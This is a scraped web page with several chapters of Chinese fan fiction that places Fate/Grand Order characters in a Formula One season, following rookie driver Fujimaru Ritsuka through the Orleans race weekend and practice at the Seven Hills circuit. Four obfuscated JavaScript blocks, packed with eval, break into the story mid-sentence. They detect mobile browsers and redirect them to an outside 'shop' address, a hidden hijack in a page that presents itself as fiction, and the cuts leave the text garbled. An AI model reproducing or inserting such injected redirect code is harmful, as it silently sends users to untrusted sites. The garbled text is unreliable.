;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941698|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的唐泰斯内线没守好,被P2的贞德alter越了过去,出了一号弯可就难超车了呀!” “阿周那轻松越过甩尾起步起岔了的卡多克,现在是P9,两台迦勒底今天似乎都有大大小小的毛病呀,P3的藤丸立香离走大就差一个晚刹车,怎么跟第一圈起步时候的贞德alter一个症状?哦呦莫德雷德也是,这下倒是安全了唐泰斯选手,P3P4在后面纠缠还挡住了打算钻空子的卡斯特和芭万-希。” LAP18,迦勒底TR: “四圈了!轮胎还是没感觉,很滑。”一直在被莫德雷德紧咬的立香焦虑。 “保持镇定,继续按计划暖胎。注意第2、3弯的油门。”罗玛尼安抚,“比赛还有五圈,你可以暂时放弃轮胎管理,确保圈速。” “前面的火花四溅,后面的也火花四溅,奥尔良赛道的低温情况似乎大部分赛车都不太能迅速进入窗口期,尤其是换的百分之五十都是新软胎,估计是因为今天用软胎的全跑得不错,打算重启后进攻前面搅乱战局。” “换中性胎的可以一跑到底不用担心衰竭,前排建立起充足优势的也不用担心衰竭,就是中流的车手们可能就得担惊受怕了。不过两台alter都换的中性胎,应该是想零风险跑完比赛。毕竟只要发车守住位置,节奏稳定地完赛,领奖台就跑不了。” 听不见风从耳边擦过时的呼啸,天气晴朗,所以护目镜并非完全透明的那一副,遵循大脑指令把控方向盘的手心不断涌现汗水,急促的呼吸一圈又一圈,藤丸立香知道自己在等待什么。疯狂地进行暖胎工作,一旦意识到轮胎已进入工作区间便竭尽全力地开始push,好胜心在引擎里燃烧着,不甘心一步之遥的积分与排名因为些许失误落入他人之手,耳边每一次确认与后车的区间都是一种加速push的燃料添加。 激进的离合器释放和油门开度,利落走线、精准刹车确保不失速度同时兼顾保胎。清晰地知道轮胎下的这条赛道缺乏抓地力与下压力,她在后视镜中凝视看起来已经很近的后车,而最后一圈的最后一个弯却看起来要更近一点。 不知道自己的大脑究竟在想些什么,身体下意识地早开油门,牺牲少许弯心速度以换取更早的全油门出弯时机,跨越最后一个弯道奔向最后一个直道。不需要思考也能知晓模样的方格旗正在眼前,快一点,再快一点……那些只需品尝过一次滋味便再不能忘的胜利的味道、那些满怀记忆的过去模样、那些和重要的人一定登上过的相似却又完全不同的领奖台。 哪怕冲刺赛没有正式的颁奖典礼,第三名也不会拥有奖杯,哪怕只是P3,那也是无比珍贵的P3。 “藤丸立香!新秀登场!首场正赛P4带回!第一个冲刺赛就站到了前三的位置!!!” 踱步而来的少女拎着香槟,半蹲下身来细瞧自家队友的脸:“哎呀,你在哭吗?” “才没有!”下意识反驳的立香扁嘴,“只是这个太难喝了而已!” “五年!五年!曾经的时钟塔、今天的迦勒底!在F1赛场上久违的第一个P3!由一位新秀车手带来的宝贵的P3!” 8. 奥尔良赛道3 居然没有泪意。 意识到这点的藤丸立香在媒体区呆立着放空自己,Alter车队冲刺赛主场一二带回的美妙让观众席狂欢大奏应援曲,耳边的喧嚣明明近在眼前,自己却只觉空空如也,仿佛听力失灵般什么都听不见。 太奇怪了。 立香竭力安抚自己内心的喘息,那些泪意上涌的欲望竟然像没有存在过一般。只有些许,在自己离开车摘下头盔下意识拥抱从P房里跑出来的玛修时出现过。轻轻的一点,只从眼眶中闪烁而过后,便消失不见了。 仰头望天,晴朗明媚的好天气,却又过分刺目让立香觉得眼睛很痛。她在闪光灯四飞的镜头面前偷偷眯起眼睛,好确保自己不受任何强烈光亮的伤害,完成紧凑的采访安排后快速回归迦勒底的P房做短暂的休息——车队已经在准备即将开始的正赛排位赛了。 在过去数年从未品尝的味道正在回归,冲刺赛P3和P8带回6+1的共计7个积分的美妙周末开端让整个车队都为此振奋不已。明明已经喜气洋洋庆祝过一轮的队伍仍然毫不吝啬于给予车手鼓励,然后得到了车手本人同样喜悦的共同祝贺。 甩甩脑袋把杂乱的思绪都扔掉,拎起头盔准备回到赛车座椅上。感觉大脑尚且混沌的车手踩着板凳,从车组人员的肩膀上借力跨过halo踩进驾驶舱内。 冲刺赛刚刚结束,奥尔良站的赛程进度直奔传统三节淘汰制的正赛排位赛。引擎的尖啸在并不完全空旷的赛道中被沸腾的人声推回车手耳边,车手全神贯注聆听Tr中的声音,与工程师交流的立香回味着Q1的感觉,开始嘀嘀咕咕具体的调校需求。 如何在凉爽的下午空气中做出完美飞驰圈,同时完成各配方轮胎在低油量、单圈冲刺模式下的性能测试? 答案很简单:跑快点。 “你一定要在tr里和我聊型月围场棒棒糖节目?如果真的能用脚跑,我们就不用回去换胎了!”在高速高负荷压力下,无法自控喘息的立香在头盔里用巨大的声音震着自家工程师的耳朵。 “不,我只是想提醒你,”没被立香接收到自己的追星间隙关注自家车手日常舆论得到的冷笑话信号,佯装无事发生的罗曼在无线电的另一侧挠头,“Q2结束,你在P9,可以回来维修区了,我们调整一下准备Q3。” “中性胎换软胎?” “是的。” “Copy。” “中性胎今天跑很慢,要不还是软胎起步,硬胎到底?”立香在“慢慢悠悠”开回P房的路上问道,“赌一下安全车二停?” “起步用胎由你Q3成绩决定,硬胎在FP1中的表现更加糟糕,”在无线电中插话的夏洛克回答,“或许需要再观察一下,我们可以耐心些立香。” “好的~”从冲进缓冲区的一台圆桌旁开过,立香扫过一眼,“至少排位赛硬胎数据看起来还行。” “我们Q3会启用一套软胎,只会剩最后一套软胎到正赛,所以Q3成绩很重要,否则我们正赛只会用中性胎起步。” “即使中性胎圈速很糟糕?” “不建议你和两台alter对比。” “他们怎么比冬木快这么多~”立香的声音在头盔中飘飘荡荡,“以及,我想调整一下悬架。” “好。”无条件信任自家车手对车子感知的罗玛尼一口应下。 轮胎正在翻滚前进,车手正在承受压力与渴望所带来的动力,赛车的新调校正在寻找直道速度与弯道下压力之间的平衡,策略墙正在捕抓合适的出场时机以规划无交通干扰的干净飞驰圈。所有的一切都处于现在进行时的状态,引擎与动力单元的努力都即将流转为飞驰圈的圈速,立香隔着护目镜与眼前的赛道对视,利落地入弯出弯,利用弯道弧度粗暴地给轮胎加载、升温以完成准备圈的暖胎工作。 平静的飞驰圈只有每台赛车的引擎声混杂无线电确认汇报的冷静人声在耳边回荡,暂时没有安全车,所有车辆都在准备圈与飞驰圈中做来回切换。高居榜首的两台alter在无需考虑长距离消耗的轻油时间里快得不可思议,在更快的圈速与不断刷紫中你追我赶的爱德蒙唐泰斯与贞德alter于驰骋赛道的每一个弯上都烧着腾腾火力,仿佛燃烧的不是汽油而是车手本人一样。 已经发展到剩下十八个车手竞争正赛P3起步的Q3排位赛,不约而同地抱怨低温与下压力的车手们聚焦于更快的单圈圈速与可能更进一步的正赛起步位置,然后统统光辉惨败于两台主场作战爆发300%忘却补正性能的Alter赛车。 正赛起步的P1、奥尔良大奖赛的杆位车手是数个小时前喜提冲刺赛冠军的贞德alter,P2是她的队友,至于P3,是她的“密友”——藤丸立香自己是如此说的。 和冲刺赛前三名单一模一样,连名字、位序都没有任何改变的正赛发车格前三。在采访会上神游天外还能兼顾全场气氛的说话最活跃车手,立香第N遍重复Pr在赛前就在叮嘱的关于迦勒底的车为什么突然这么快的问题解答:“因为我们的车变快了,所以我们的车变快了。” 无条件响应此人任何话语的两位车手,一个停止对发问记者的冷笑与“挑衅性”回答,一个停止对沙发另一侧车手的“卖笑”与大“哈”出声,没有坐在正中间胜似坐在正中间的立香转了转自己手腕处的表带,有些失神地注视自己握住手心的麦克风话筒。 尽管不知道自己回答了什么,也仍然让三个人在不被fia处罚社区服务的情况下完成了发车格前三的车手采访会,状态有些恹恹的立香强行调动起自己的积极性,她挽着贞德alter的手回到迦勒底的P房前,不忘和爱德蒙挥手示意明天见,脚下的步伐竭力保持轻快地进入车间开始对自己前悬挂的无限打量,随即缓慢打开了立香の加班模式。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941699|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “欢迎来到法国大奖赛的正赛现场!型月一级方程式的奥尔良赛道正在大家的眼前!这里作为Alter车队的主场赛道,且本赛季两位车手都是本国车手,可以说是集齐了主场+主场的buff,观众席上挥舞的复仇旗帜也多得数不胜数。两位车手同样在昨天的冲刺赛和正赛排位中发挥出色,看起来赛道情况相当吻合赛车特性呀!” “比较令人诧异的是,迦勒底车队的藤丸选手已经连续数次进入前五位置,本站的冲刺赛与排位赛都站到了P3,若能保持到正赛,那真的可以提前十八站评出本年度的最佳新秀了。只不过迦勒底车队的车,从拖拉机到进入领奖台位置只花了一个冬休!突飞猛进四个字都不足以形容这个变快的程度啊!” “接下来让我们忘掉那两台看起来已经在奥尔良赛道无敌的alter,也不去看进步神速的藤丸立香,P4是妖精圆桌的卡斯特,P5是卡美洛圆桌的加哈拉德,这两位年轻的车手在上一年的世界冠军争夺战中因为最后一站迪拜赛道的同归于尽双双退赛,让本来已经宣布准备退役的老将尼禄在自己F1职业生涯的最后一年再次拿到了一个WDC!” “非常有趣的一场比赛,如果有刚刚才入坑的车迷可以去回顾下这场经典的积分榜第三名翻盘第一卫冕世界冠军的名场面,这场还没有过去四个月的比赛,值得反复回看!” “P6是发挥出色的一台阿尔戈,P7、P8是排位赛Q3值得大家送一句冤冤相报何时了的莫德雷德和芭-万希,P9是本年度进步飞速的卡多克,两站比赛下来已经多次稳定在前十了!跟上一年拖拉机和倒霉齐飞的自己相比,可以说是非常大的进步!” “不过迦勒底今年的车确实快得有点可怕,尤其和上一年对比的话。他们今年挖来的技术人员大部分都是之前与引擎、空气动力等赛车相关八竿子打不着的专家,能有这个魄力解散队伍又重组再来一次,他们的老板跟上个赛季比就像变了个人似的。” “估计是因为女儿变车手,高扬斯卡娅小姐也‘恩准’大变,生怕迦勒底跑不出好成绩,藤丸立香又收拾收拾退役回去做巧克力了。心理医生(X)升职今年的迦勒底领队兼藤丸立香工程师的罗玛尼阿其曼也相当了得,能压得住队伍的其他声音。不过也有说法,其实真正的领队是老板本人而不是罗曼自己,毕竟罗曼说到底是前朝(阿尼姆斯菲亚)的人嘛!” “今年是围场QP预算帽实现的第三年,大车队烧不了钱,小车队的速度也赶上来了,阿尔戈和迦勒底都是肉眼可见的进步神速。后排发车的车手们大部分都是因为排位赛小情况不断,霉运一起上赶着来一样。凯尔特的库丘林排位赛Q1暖胎圈爆缸,上墙把半台车撞烂,修无可修,今天正赛只能最后一位发车。” “闲话时间到此为止,暖胎圈已经结束!五盏红灯!尽数熄灭——奥尔良大奖赛正赛开始了!” 9. 奥尔良赛道4 “哎呀今天的奥尔良风高气爽,天气相当美丽呀!如果没有turn1(第一个弯)的连环撞车就更美妙了。” “起步的刹那非常混乱!P1、p2的两位各不相让直奔内线,一个凭借杆位领先抢占内线关起门来毫不留情,一个激进攻击试图超越可惜刹车已经太晚!险些前后车相撞,幸好两位老手把控尚且得当,唐泰斯选手飞出赛道割了一号弯的草后回归P2(赛会调查中)。P3的一台迦勒底原本已经凭借混乱上到P2,结果被P4、P5、P6的三台连环事故殃及无辜!藤丸选手的P3起步是真的拿得烫手。” Lap1,迦勒底Tr: “T1和P4有接触,右前!右前!有震动,但赛车还能开,请确认。”反复强调右前轮的立香面色平静,事故后落到第五的车手单纯急于追赶前车,以确保软胎的衰竭期到来时自己不会落后太多。 “Copy,外观检查无明显损伤,数据暂无……问题。继续比赛,我们会持续监控。”检查基础数据的罗玛尼停顿了一下,右前轮数据在屏幕上显示为一条固定的直线。比赛初期混乱中信号丢少并不少见,他在简单确定各项基础数值后,和策略墙的其他人一道将注意力转回到目前的整体赛道位置、对手圈速和更加重要的具体策略上。 “赛道上的变化真是莫测,只是一圈就让位序变得和起步发车格完全不一样了!不过P2的冲击还是没能真正干扰到杆位车手贞德alter的领先,正在建立起优势的两台alter已经跑出了和后车近6s的差距。正常驾驶的藤丸立香起步时惨遭无妄之灾的谋害,P3前进到P2又退回P5的困境让她没能及时热起来的软胎很是被动。” “妖精圆桌的卡斯特和她趁乱来到P4的队友正并驾齐驱进入第二圈的三号弯,但是始终没能有更多的动作。迦勒底的卡多克在P10的积分区入口用中性胎把后面连续七台赛车卡得变成DRS小火车了,防守的功力炉火纯青。今天中性胎的性能从数据上看确实还不如硬胎,但这还是需要从车队的具体考量出发的。” 屁股底下的车很不顺手,藤丸立香仔细追溯这种感觉第一次出现的具体时间,最后痛苦地再次想起第一圈起步时自己右前被撞,被迫惨退到目前的P5位置的此事。 郁闷、恼火、不满,积蓄的情绪正在非常不科学地化身燃料变成加速推进的动力。车手可以明确目前的赛车有问题,但问题存在的方式很微妙,使她无法单纯用语言表达清楚。也因此,自己的驾驶在某种程度上是与问题玩捉迷藏。 路经如阿德莱德发卡弯等的重刹区时,刹车踏板的力度不均感就会变得非常明显;车身频繁出现的不正常偏移与直觉存在轮胎锁死倾向都只能凭借立香纯脚感与纯预判的驾驶来减少更多的损失,以确保赛车正常运行在赛道上;过度打滑的轮胎脚下,努力保持的弯中平衡常常只能算作聊胜于无;甚至于,推头和甩尾竟然在一台车上前后脚出现!!! Lap12,迦勒底T: “我每一次进出弯都像在玩‘猜谜游戏’!而一圈下来需要玩至少十次!”车手的愤怒进度条正在上升,因剧烈运动与承受高压而愈发红温的脸被头盔裹得严严实实,立香努力在生死危机的超高速驾驶中保持冷静,她尽力以开玩笑的口吻表达自己的情绪,“尽管我已经在每个弯角都预留了更多安全余量,圈速却仍然糟糕得和竞争力三个字没有任何关系,天哪!我甚至用软胎跑不过中性胎。” “收到。我们正在对比所有传感器,右前轮转速信号似乎有些问题,但我们无法明确是否只是信号问题。右前轮的当前性能难以明确判断,下一圈我们将会考虑进站,可以暂时放弃这一圈的轮胎管理,注意安全立香。” 立香在无线电频道中以几近于开始哭的悲切声调和工程师进行对车子的控诉,手上的动作却干脆利落,极度专注地“感受”赛车,同时不忘避免犯下低级错误。每一圈都在确认圈速,而每一圈都不稳定且难以预测的圈速数据使她下定决心要求在软胎衰竭期到来前就回站换胎。 从来灵敏的直觉EX正在她耳边回响,车手向来激进的刹车或转向战术被她当下选择的保守驾驶统统遗弃,甚至于直接放弃了与后车的缠斗,头也不回地直奔维修区通道。 “今天第一位进站换胎的车手!藤丸立香在第十四圈就回到维修区!同样都是软胎起步,但是今天这台SB-18的奇怪状态似乎完全不能像昨天冲刺赛一样发挥出轮胎性能,甚至于无法良好运作!车手本人也在tr中反复与工程师沟通,试图定位问题所在,不过似乎成效不大呀。” “软胎换硬胎,这应该是藤丸立香本站最后一套软胎了吧?现在就换胎估计是要二停的策略。但这位车手的车究竟出现了什么问题还有待考量。2.1s的换胎时间还算可以……哎呀!赛会通知迦勒底车队藤丸立香维修区超速了!” Lap15,迦勒底Tr: “立香,我们有五秒的罚时,关于维修区的超速。” “WHAT?!”刚刚才摸索出一点关于目前的SB-18操控规律,立香困惑,“我当时有在确认,怎么会超速?” “我们正在回看数据,你的右前轮速度传感器存在问题,在T1被撞后便已不再传送有效数据,你的车速表可能有问题,非常抱歉我们现在才确切意识到是速度传感器的问题……我们本该早些发现的,”罗曼语气低落,复又立刻答道,“车队已提交传感器数据申诉,我们将远程禁用右前轮传感器相关非关键功能,防止故障扩散。” “我需要继续保守驾驶的意思?”立香问,“我会尽量手控操作,下次进站先罚停 5 秒再换胎是吗?” “是的,我们会通过左前轮数据与圈速间接估算右前轮状态,保持稳定驾驶,保留积分。” “……Copy。” “相当倒霉的藤丸立香,P3起步被鱼雷到P5,换胎后现在是P9,居然还单坏了一个右前传感器这么神奇!这下不打算二停也得二停,回去执行罚时了。” “一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941700|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道问题在那里就立刻开始推,藤丸立香居然能在不知道右前胎具体情况下还能推得这么猛,这场的硬胎看起来是真的比中性胎还要好跑。第二台迦勒底也进站了!卡多克中性胎换硬胎,如无意外是拼一下硬胎跑到底了。” “七十圈的比赛跑到现在已经跑了一半了,第三十六圈的领头羊是刚刚换完胎,出站后仍然P1稳稳在手的贞德alter,P2是undercut了一台alter的卡斯特,P3是被undercut了的唐泰斯,P4是猛超数车的芭-万希……P7是卡多克,他的队友藤丸立香在和车子搏斗的情况下还能保持在P9,非常了不起!” “就是有点可惜了P3起步的好位置,不然就是近年来最年轻登台车手之一了,但凡跟冲刺赛的剧本保持一致,最佳新秀就稳稳到手了。” 倒霉并不仅仅“倒霉”的两个字,也不是解说口中轻轻一句“可惜了”的三个字,而是“藤丸立香”这个名字的四个字。 计划赶不上变化,变化赶不上时间,咬牙切齿于自己的霉运并不能将右前轮的传感器快速修好,也无法敲晕fia让五秒的罚时变成从未存在过的状态,立香抑郁地操控车子,然后在手动档的大部分时间里和工程师罗曼悲极生乐地交流身处“灭五感”状态应该怎么做的司机版本。 赛道两侧的观众席上汹涌澎湃的复仇旗帜正在为看起来胜券在握的主场车手——两台alter挥舞,护目镜中所能看到的天空并不总是晴朗的蓝天白云。看起来胜负已定的局面,身处前面的追不上、后面的也追不上的积分区守门员位置,P10的立香听着耳边狂欢一般的Alter车队主场欢呼声,烟花与盛大的庆祝仪式常常形影不离,心态很平和地将车驶过舞动的方格旗之下。 一个积分也是积分,只是二十站比赛的第二站而已,擅长给自己打气的少年人接收着无线电频道中的安慰,乐天派人士只花了几分钟就调理好今日的倒霉大作战,用轻松的语气“要求”策略墙的大家别太在意赛程中的失误。 在赛后人员的指引下停好车,摘掉头盔、脱掉防火面罩和手套,立香干脆地拔掉其余的设备,把方向盘往车组人员手中一放,手靠车身借力halo,身形轻盈地跳回地面上。她甩甩脑袋醒神,保持轻快步伐地向混采区黑洞洞的镜头前走去。 记者们的采访有时角度清奇,有时恶意伤人,还有的时候执着于挑拨离间。没被挑拨到的立香面色诚恳,回以“你该在采访领奖台选手们时问爱德蒙和alter亲,或者问我这场比赛前究竟拜了何方大神。” “没关系的立香,”记者在迦勒底Pr人员的凝视中飞快鸣金收兵,用安慰性的话语为采访落下最后一句话,“下一站就是罗马七丘了,但愿教皇的意志与你同在。” “?”立香停顿片刻,敲出一个问号,“那不应该与罗马车队的车手们意志同在吗?” “嗨,今年罗马的两位车手都不是意大利人,这有什么的!总之教皇她老人家肯定不会是幸运E!” 10. 七丘赛道1 意大利的七丘赛道,罗马车队的测试赛道兼车队起源之地,又名,主场中主场の罗马属性强化EX。 “你什么时候能戒掉这个赌博游戏?”卡多克神色严肃,俯身注视藤丸立香手机屏幕上跑了又跑到芙芙玩偶,“写作同人创作,读作野史堆砌,抽卡没有保底,剧情常常疯魔,运营总是在飞。如果只是因为年薪太多的话,可以在录圣诞互送宣传视频的时候,好好思考老三样以外的礼物,而不是继续在游戏里打水漂。” “好犀利……”抽卡沉湖还惨遭队友抨击的立香大悲,“不管怎么想我都是受害者吧?!而且上一年送你旧圣诞袜子的队友明明是贝利尔!” 休息室的门被礼貌叩响,胸口处挂着工作牌的赛会人员提醒两位迦勒底车手:会议时间准备到来,请不要迟到或旷掉——一场FIA与车手讨论关于驾驶规则中存在争议的部分判罚标准的会议,非常罕见地在赛季第三站就被打响了,其原因有百分之一百是基于才过去两次正赛一次冲刺赛,就已出现了多次争议判罚致使舆论飞飞,FIA大忧之。 包括但不限于冬木站两台摩诃婆罗多发生碰撞双退,连续两站都出现状况的莫德雷德和贞德alter轮对轮碰撞,奥尔良站又是莫德雷德车手发生与芭万希之间的摩擦,唐泰斯法兰西大奖赛正赛起步的切弯割草,一站之中两次三车连环事故……而这些事故的判罚,涉及死板执行驾驶标准指南可能带来的错误判罚、赛道界限问题以及标准指南无法涵盖所有事故的各色情况,统统饱受车手、车队以及观众席的质疑。 会议上的所有讨论都令藤丸立香感到困意上涌。不愿动脑思考这些讨论了也难以落实的规则与争议,对规则不说了如指掌也能自夸了若指掌的车手选择单纯放空大脑。立香在思绪漂浮的间隙突然想起自己新秀登场第一个赛季两站比赛就已喜提一次维修区超速罚时——“这完全不怪我吧!!!” 心底在嚎,面上仍然和大部分车手一样保持面无表情的放空姿态,立香环顾死气沉沉的会议室,在得到所有人都在神游天外的答案后放松地把身体往椅子深处缩了缩。 十支车队共计二十位车手,旷课的三位,请假的两位,到现场发呆、睡觉或表演“假装在听”的十五位。 没能想到好的请假理由,又烦恼于Fia可能的惩罚手段,安分守己来到现场开会的立香很是悲伤。她在一旁爱德蒙高大身影的遮挡下,得到四周开小差人士的启示后,不由心生罪恶地抽出口袋里的手机,并且逐渐神色自若地忽略那些无处不在的摄像头。 一众车手会议摸鱼的窃窃私语在立香的手机屏幕里具象化,并已跟随聊天软件上的你一句我一句发展到晚餐的详细菜色与具体到订座位置的餐馆地点。没有驾驶工作的最后一天正准备从车手们的腕表处匆匆驶过,行程繁忙的媒体日周四以一场看起来没什么作用的Fia暨车手会议落下夜色的帷幕。 低沉的天空,摸不清究竟是真的准备下雨还是单纯阴天的天气,雾蒙蒙的眼前像一块即将成型的雨团,只是仍然一滴雨都没有。 藤丸立香喜欢七丘赛道,赛道特性使大部分车队都会在此用上整个赛季最低的空气动力学下压力调校,追求直道极限速度的同时还拥有立香最喜爱而大部分车手都为此忧虑的弯道の“滑”。善于把控刹车点精准度的立香在过去的比赛中常常能够借“滑速”更快出弯,而F1赛事的整体速度又要远比她过去所参加过的所有赛事都快得多。 期待值的上涨带动愉悦值的上升,对即将开始的比赛的跃跃欲试与对上一站赛果的恼火糅合成立香表现在外的神采奕奕。 她笑容灿烂地被夹在四位圆桌车手之间,轻松地化战火苗头为快乐聊天,从容地拦截下三车队六车手媒体专访会中可能给台下车迷们带来的混战时刻。 然后在莫德雷德与芭万希离场之时左扯藤丸右扯立香的暗流涌动(物理)中,选择和刚刚到场的玛修一起回迦勒底的P房。并不顺路但是仍然选择跟着妹妹走的加哈拉德在叽叽喳喳的两人背后沉默玩手机,并兢兢业业地努力完成签名工作。 “偷”走立香相机给所有人的背影留下合照的卡斯特立于原地,阿尔托莉雅认认真真地给奥伯龙传完合照才离开。并在得到网线另一端写作王子微笑、读作骂人的回应后得意大笑,步伐轻快地哼着梅莉新专辑的主打歌往妖精圆桌车队的后勤区走去。 速度殿堂、极限高速,这是罗马七丘赛道的美名在外。高比例的全油门路段,85%的赛道长度允许赛车全油门通过,堪称当前型月世界F1赛历中平均时速最高的赛道——平均时速通常在每小时240公里以上,而赛车最高时速可超过350公里。 美中不足也有,赛事的举办时间恰在三月底,凉爽多变的春季气候使比赛日拥有天气多变的主要特征,晴朗、多云与阵雨是这里的常客。 早晨的采访时间裹挟天气微凉,在千叮万嘱之下乖乖披好外套,立香穿着欧美街头上大差不差的青少年共同款长外套搭短裤离开媒体区,她与玛修挥手示意稍后见,回到休息室将赛车服套上身。 时间尚早,FP1(一练)还有半个小时,忙忙碌碌的车组与神色匆匆的策略墙正在完成赛前准备。拎着头盔与大家结束打招呼环节。没踩凳子直接跨腿进车,才坐好没过几秒又突然伸手探出halo,立香向一旁的技师疯狂挥手,示意自己把方向盘落在车外了。 “无线电测试。” “很清楚,没有杂音。” 下午16:00的一练时间,不算非常低温的晴朗当下,车队们数据收集、策略决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941701|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定与赛车调校的方向仍不能忽略比赛日出现降雨的可能性。更硬的轮胎配方是倍耐力与车队不约而同的选择,而光头胎(干地胎)以外,雨胎(半雨/大雨)的存在同样关键。 藤丸立香跑完单圈长度5.789公里的首个准备圈,在无线电频道中和工程师探讨一番新底板的具体效能后,用更激烈的转向、刹车操作重新开始下一圈的驾驶——以寻找让轮胎更快抵达最佳工作温度的操作。 “罗吉亚减速弯,赛车弹跳严重。”立香开出减速弯的刹车区后,在tr里和罗曼汇报,“轮胎升温困难,提前刹车也难救这个跟没有一样的抓地力,或许我应该开着车子在天上飞?” “收到,”工程师耐心地等车手把玩笑话说完才开口,“6、7号弯注意节奏,内侧路肩可以稍做利用,但是别压太多。” “Copy。” 从容把控直道上的push与弯道中的精准控制需要,新引进的升级底板对低温情况下的赛车整体调校似乎有些消化不良。 立香在FP1结束后把车开回维修区,对着尾翼指指点点,以敏锐的驾驶感知对二练开始前的赛车调校提出车手意见。 没有安全车的FP2给车手们以舒适的流畅感,没有任何旗帜需要被出示的二练给赛会方以“会前的讨论会相当有成效”的错误感知。 经适当增加下压力、调大前后定风翼角度后,赛车增加的机械抓地力有力抵消了部分因胎温不足导致的打滑。一切行动以“保温” 为核心的立香忘我地沉浸于激进驾驶中,在和卡多克协力完成不同配方轮胎(软、中、硬)的长距离衰减情况评估后,便兴致冲冲开始排位赛模拟的软胎冲击单圈。 她在左-右-左S的八到十号弯里跳着精妙绝伦的舞,高速刹车,降速切入,精准控油,出弯后长直道的尾速不减与加倍push将车手的零误差操作轻松刻入赛会记录下的最后一段刷紫中。 “感觉还行吗?”罗曼提醒完FP2的剩余时间后,对车手提出赛车新调整是否OK的疑问。 “呃……还可以,”立香可疑地停顿片刻,突然地将话题挪移到抱怨FIA的部分,“七丘的比赛如果能在更热一点的天气开始就好了,这里的温度管理游戏完全浪费了好赛道,我可不敢想象周日下雨是什么情况。” “Copy,注意优化11号弯出弯,”罗玛尼的回答跟随车手的话题变化一同转向,“我会把你的提议记录下来稍后一起提交给fia,但我想,如果不说下雨,可能就真的不会下了。” “OH~罗玛尼~你在抱怨我的运气吗?”立香的声音在无线电频道中有奇怪噪音在爆炸,话到末尾还伴随着奇怪的啸音,“我前天可是和大家去了教堂噢!若安还给我祷告了——怎么看不像乌鸦嘴吧?!” 11. 七丘赛道2 在第三次自由练习时间到来前,先一步抵达七丘赛道的,是雨。 用单纯的“下雨了”来形容三练时间的天气情况,似乎并不贴切;用“莫名其妙”来形容天气的详细情况,感觉也并不能描述出天气预报还有几分几秒就要下雨、还有多少分钟就会停雨的精准程度;用“老天爷脑子有病”来描述车手和车队的心情,又好像在侮辱观众席上亲自来看比赛的教皇本人…… 总而言之,阴天转大雨再转晴朗终变小雨的恶劣天气受害者藤丸立香车手心情很复杂,她甚至宁愿自己回去手刷300池无限池看200次辅助十字飞天的大招,而不是坐在车子里像木头扎根一样与座椅不说分离。 三练的计划,原本是排位赛模拟的单圈极限、圈速优化,很不幸、非常不幸的是,现在所有人都在赛道上坐牢。 场上的十支车队面对过山车一样的赛道数据变化,死心后果断且彻底地放弃优化单圈的计划,头也不回地奔向极端数据的收集与策略备案,试图为明天正赛的所有可能性做准备。 三练刚刚开始时,还勉强算个普通阴天。轮胎虽然升温很慢,但至少是稳定的升温进行时,抓地力低于常规条件的情况让车队继续“习以为常”地开始测试干地胎在低温下的工作窗口和衰减。 狂热的暖胎驾驶员在连跑三个准备圈后,终于让轮胎进入了拥有还不错抓地力的工作区间。正当她想要在无线电里和自家工程师抱怨天公不作美、感慨自己的努力如此伟大的时候,天公真的不作美了——雨水,滴滴点点地打湿车手的护目镜。 “我知道你想说什么,但是你最好先别说。”车手的声音在无线电中上上下下地飞,立香语气和缓,拥有着与粗暴行动截然不同的沉稳态度,随即破防于越来越大的雨,“Oh sh*rt——我甚至觉得自己在冰湖里游泳!” “Box,box,”罗曼安抚,“专注驾驶,tr里留意脏话罚款,维修区内注意避免超速,我们需要调整一下。天气情况和你说过的话没什么关系,别在意。” “Copy。”立香憋了一会,复又回答,“我有时候觉得罗玛尼你像人机。” “高伤害话语,听起来怪令人伤心的,”工程师如此点评,“注意右前,赛道湿滑,别推太过。” 雨水,轻盈的雨水,以并不轻盈的速度沉默地为赛道表面赋予降温的强大功效。缺乏抓地力的赛道,让即使已经换上半雨的赛车仍然非常依赖机械抓地力来前进。 